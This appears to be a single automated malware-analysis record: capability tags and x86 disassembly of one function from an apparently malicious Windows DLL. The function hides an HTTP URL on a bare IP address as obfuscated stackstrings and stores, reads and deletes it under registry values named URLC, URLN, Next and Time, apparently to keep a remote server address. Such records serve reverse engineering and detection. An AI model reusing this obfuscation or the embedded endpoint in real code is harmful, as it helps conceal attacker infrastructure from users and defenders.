Function at 0x10006410
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x290
push esi
mov esi, dword [esp + 0x298]
push edi
test esi, esi
je 0x10006471
mov eax, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x1000643b
push eax
push 0
call edi
push eax
call fcn.100088d0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x1000644d
push eax
push 0
call edi
push eax
call fcn.100088d0
mov eax, dword [esi + 8]
test eax, eax
je 0x1000645f
push eax
push 0
call edi
push eax
call fcn.100088d0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x10006471
push eax
push 0
call edi
push eax
call fcn.100088d0
cmp dword [esp + 0x2a0], 0
jne 0x100066b0
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test esi, esi
jne 0x10006497
mov eax, dword [0x100120f8]
push str.Time
push eax
call ebx
push 0x20a
lea ecx, [esp + 0x94]
push ecx
call sub.NTDLL.dll_RtlZeroMemory
mov dword [esp + 0xc], 0x20a
mov dword [esp + 0x10], 1
mov eax, str.URLN
test esi, esi
je 0x100064c7
mov eax, str.URLC
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea edx, [esp + 0xc]
push edx
lea ecx, [esp + 0x94]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
push eax
mov eax, dword [0x100120f8]
push eax
call edi
test eax, eax
je 0x10006588
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x94]
xor edx, edx
push 0x1000e9f8
push ecx
mov dword [esp + 0x24], 0x740068
mov dword [esp + 0x28], 0x700074
mov dword [esp + 0x2c], 0x2f003a
mov dword [esp + 0x30], 0x31002f
mov dword [esp + 0x34], 0x370036
mov dword [esp + 0x38], 0x38002e
mov dword [esp + 0x3c], 0x2e0038
mov dword [esp + 0x40], 0x370031
mov dword [esp + 0x44], 0x2e0030
mov dword [esp + 0x48], 0x330031
mov dword [esp + 0x4c], 0x2f0031
mov dword [esp + 0x50], 0x780065
mov dword [esp + 0x54], 0x720074
mov dword [esp + 0x58], 0x2f0061
mov word [esp + 0x5c], dx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [esp + 0xc], eax
test esi, esi
je 0x10006663
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x98]
push ecx
call fcn.100062b0
add esp, 0xc
test eax, eax
je 0x100066af
mov ecx, dword [esp + 0x28]
xor edx, edx
mov eax, 4
cmp dword [esp + 0x24], eax
mov dword [esi + 4], ecx
mov ecx, dword [esp + 0x44]
sete dl
mov dword [esi + 0xc], ecx
mov ecx, dword [esp + 0x80]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esi + 0x10], ecx
lea eax, [esp + 0x14]
mov dword [esi + 0x14], edx
mov edx, dword [esp + 0x2c]
mov dword [esi], edx
mov edx, dword [esp + 0x64]
mov dword [esi + 8], edx
lea edx, [esp + 0xc]
push edx
mov edx, dword [0x100120f8]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0
push str.Next
push edx
mov dword [esp + 0x2c], 0
call edi
test eax, eax
je 0x10006630
mov eax, 0xc
movzx eax, al
pop ebx
pop edi
mov byte [esi + 0x18], al
pop esi
add esp, 0x290
ret
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10006651
cmp eax, 0xfe
jbe 0x10006620
pop ebx
mov eax, 0xfe
pop edi
mov byte [esi + 0x18], al
pop esi
add esp, 0x290
ret
pop ebx
mov eax, 0xc
pop edi
mov byte [esi + 0x18], al
pop esi
add esp, 0x290
ret
lea eax, [esp + 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 2]
mov eax, dword [0x100120f8]
push ecx
lea edx, [esp + 0x94]
push edx
push 1
push 0
push str.URLC
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [0x100120f8]
push str.URLN
push ecx
call ebx
mov edx, dword [0x100120f8]
push str.Next
push edx
call ebx
pop ebx
pop edi
pop esi
add esp, 0x290
ret